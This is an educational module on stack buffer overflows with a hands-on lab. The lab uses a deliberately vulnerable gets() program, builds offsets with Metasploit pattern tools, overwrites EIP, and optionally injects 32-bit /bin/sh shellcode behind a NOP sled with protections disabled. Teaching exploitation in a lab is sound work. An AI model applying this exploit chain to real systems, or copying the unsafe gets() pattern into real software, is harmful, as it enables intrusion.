Buffer Overflow
Objectives: By the end of this topic, you will be able to…
- Conceptually explain what a buffer overflow is
- Analyze a vulnerable binary at a low level
- Manipulate the program’s execution flow
- Understand system protections and how they influence exploitation
What is a buffer overflow?
A buffer overflow occurs when a program writes more data than a memory buffer can hold, overwriting adjacent areas. This behavior can be exploited to manipulate the program’s execution flow and execute arbitrary code.
This vulnerability is common in programs written in C or C++, which do not automatically check array bounds.
Program memory: stack, heap, and registers
Stack
- Memory area where local variables and function return addresses are stored
- Works as a LIFO structure
- Highly prone to overflow vulnerabilities
Heap
- Memory area for dynamic allocation (e.g.,
malloc) - Less structured, but also vulnerable to overflows (heap overflow)
CPU Registers
- Registers such as EIP/RIP (32/64-bit) store the address of the next instruction to execute
- Overwriting these registers allows redirecting the program’s execution flow
Function structure in assembly (stack frame)
When a function is called, a stack frame is created:
|---------------------|
| Parameters |
| Return Address | <- EIP/RIP
| Base Pointer (EBP) |
| Local Variables |
|---------------------|
Overflowing a local buffer can overwrite the return address, redirecting the program’s flow to malicious code.
EIP / RIP and control of execution flow
- In 32-bit systems: EIP (Extended Instruction Pointer) holds the next instruction address
- In 64-bit systems: RIP (Register Instruction Pointer) is used
- A successful buffer overflow overwrites this value to divert execution to shellcode or a controlled address
Modern protections
| Protection | Description |
|---|---|
| ASLR | Randomizes memory region locations to prevent jumping to predictable addresses |
| DEP / NX | Marks memory regions as non-executable (like the stack) |
| Stack Canaries | Random values before the return address that detect overwrites |
These protections can be disabled in lab environments to facilitate learning.
Basic exploitation techniques
- Offset identification: determine how many bytes are needed to reach the return address
- EIP/RIP overwrite: replace the return address with a useful one (NOP sled or shellcode address)
- Execution payload: inject code (reverse shell) or reuse existing gadgets (ROP)
Common tools: gdb, objdump, pwndbg, Python scripts with pwntools, compilation with -fno-stack-protector -z execstack
Hands-on lab
Requirements: Kali Linux,
gcc,gdb, Metasploit pattern tools
Part 1: Analysis of the vulnerable binary
- Vulnerable source code:
#include <stdio.h>
void vulnerable() {
char buffer[64];
gets(buffer);
}
int main() {
vulnerable();
return 0;
}- Analyze with
gdb:
gdb ./bof
info functions
disassemble vulnerable-
Investigate: where is the buffer stored? What is the return address? What happens with more than 64 bytes?
-
Recompile without protections:
gcc -fno-stack-protector -z execstack -no-pie -o bof bof.cPart 2: Offset identification
- Generate an identifiable pattern:
msf-pattern_create -l 200 > patron.txt- Execute with the pattern:
cat patron.txt | ./bof- Get EIP value from
gdb:
gdb ./bof core
info registers- Calculate exact offset:
msf-pattern_offset -q <EIP_value>Part 3: Controlled EIP overwrite
- Generate payload in Python:
offset = <value>
payload = b"A" * offset + b"BBBB" + b"\n"-
Execute and verify in
gdbthat EIP is0x42424242 -
Document successful flow control
Part 4 (Optional): Shellcode injection
- Select a shellcode (e.g.,
/bin/shfrom Shell-Storm):
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68" \
b"\x68\x2f\x62\x69\x6e\x89\xe3\x50" \
b"\x53\x89\xe1\xb0\x0b\xcd\x80"- Create payload with NOP sled + shellcode + return address:
nop_sled = b"\x90" * 32
payload = nop_sled + shellcode
payload += b"A" * (offset - len(payload))
payload += <buffer_start_address>.to_bytes(4, 'little')- Execute and open shell if successful
Submission
- Screenshots of:
gdbanalysis, offset identification, EIP overwrite, (optional) shellcode execution - Brief report with: payload code, technical explanation of offset, description of EIP overwrite effect, difficulties encountered
Key concepts
| Term | Definition |
|---|---|
| Buffer overflow | Vulnerability caused by writing beyond the boundaries of a memory buffer |
| RIP | Registers that store the address of the next instruction to execute |
| Stack | LIFO memory structure for local variables and return addresses |
| ASLR | Address Space Layout Randomization |
| NOP sled | Sequence of NOP instructions to increase the probability of reaching shellcode |
| Shellcode | Injected machine code to open a system shell |
Test yourself
-
Conceptual: Explain step by step what happens in memory when a vulnerable program receives more data than its buffer can hold. What gets overwritten and in what order?
-
Protections: How does ASLR prevent the exploitation of buffer overflows? What technique (ROP) allows bypassing the NX protection?
-
Practice: Why is the vulnerable binary compiled with
-fno-stack-protector -z execstack? What would happen if you attempt the exploitation without those flags?